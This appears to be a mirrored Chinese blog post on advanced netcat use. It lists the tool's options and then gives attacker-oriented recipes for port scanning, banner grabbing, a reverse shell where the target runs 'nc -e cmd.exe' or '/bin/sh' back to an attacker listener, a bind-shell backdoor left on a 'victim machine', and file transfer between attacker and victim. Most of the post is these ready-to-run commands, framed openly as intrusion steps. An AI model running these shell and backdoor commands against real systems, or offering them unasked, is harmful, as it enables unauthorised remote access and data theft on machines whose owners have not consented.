zoukankan      html  css  js  c++  java
  • nc高级应用

    参数介绍:


    nc.exe -h即可看到各参数的使用方法。

    基本格式:nc?[-options]?hostname?port[s]?[ports]?...

    nc?-l?-p?port?[options]?[hostname]?[port]


    -d:后台模式

    -e:prog程序重定向,一旦连接,就执行?[危险!!]

    -g:gatewaysource-routing hop point[s],?up?to?8

    -G:numsource-routing?pointer:?4,?8,?12,?...

    -h:帮助信息
    -i :secs延时的间

    -l:监听模式,用于入站连接

    -L:连接关闭后,仍然继续监听

    -n:指定数字的IP地址,不能用hostname

    -o:file记录16进制的传输

    -p:port本地端口号

    -r:随机本地及远程端口

    -s:addr本地源地址

    -t:使用TELNET交互方式

    -u:UDP模式

    -v:详细输出--用两个-v可得到更详细的内容

    -w:secs timeout的时间

    -z:将输入输出关掉--用于扫描时


    1.端口的刺探:
    nc -vv ip port


    2.获取banner
    nc -nv ip port

    3.扫描器
    nc -vv -w 5 ip port-port port
    nc -vv -z ip port-port port
    例子:
    格式:nc -nvv -w 2 -z 192.168.14.80-445

    这样扫描会留下大量的痕迹,系统管理员会额外小心


    4.反向连接
     攻击者机器:
      nc -l -n -p 54
      目标机器:
      nc -e cmd.exe ip 54 (这个时候该窗口将得到交互式的SHELL)
    或者
      nc -e /bin/sh ip 54

      

    5.后门
    victim machine: //目标机器
    nc -l -p port -e cmd.exe //win2000
    nc -l -p port -e /bin/sh //unix,linux

    attacker machine: //攻击者机器.
    nc ip port //连接victim_IP,然后得到一个shell。

    6.传送文件

    上传文件:
    nc -vv -l -p port > pathfile.txt      /*victim machine*/ 需要Ctrl+C退出
    nc -d victim_ip port < pathfiledest   /*attacker machine*/ 可以shell执行

    下载文件
    nc -d -l -p port < pathfiledest     /*attacker machine*/ 可以shell执行
    nc -vv attacker_ip port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出

    8.传输文本信息
    服务端 A:nc -l -p 4444
    客户端 B:nc -nv 1.1.1.1 4444

  • 相关阅读:
    常用加密算法的Java实现总结(二) ——对称加密算法DES、3DES和AES
    常用加密算法的Java实现(一) ——单向加密算法MD5和SHA
    在服务器上用Fiddler抓取HTTPS流量
    org.apache.commons.lang下的工具类
    Spring-bean作用域scope详解
    Tomcat性能调优方案
    JavaScript 闭包究竟是什么
    JavaScript跨域总结与解决办法
    《JAVA与模式》之简单工厂模式
    hibernate缓存机制详细分析
  • 原文地址:https://www.cnblogs.com/-wenli/p/9714451.html
Copyright © 2011-2022 走看看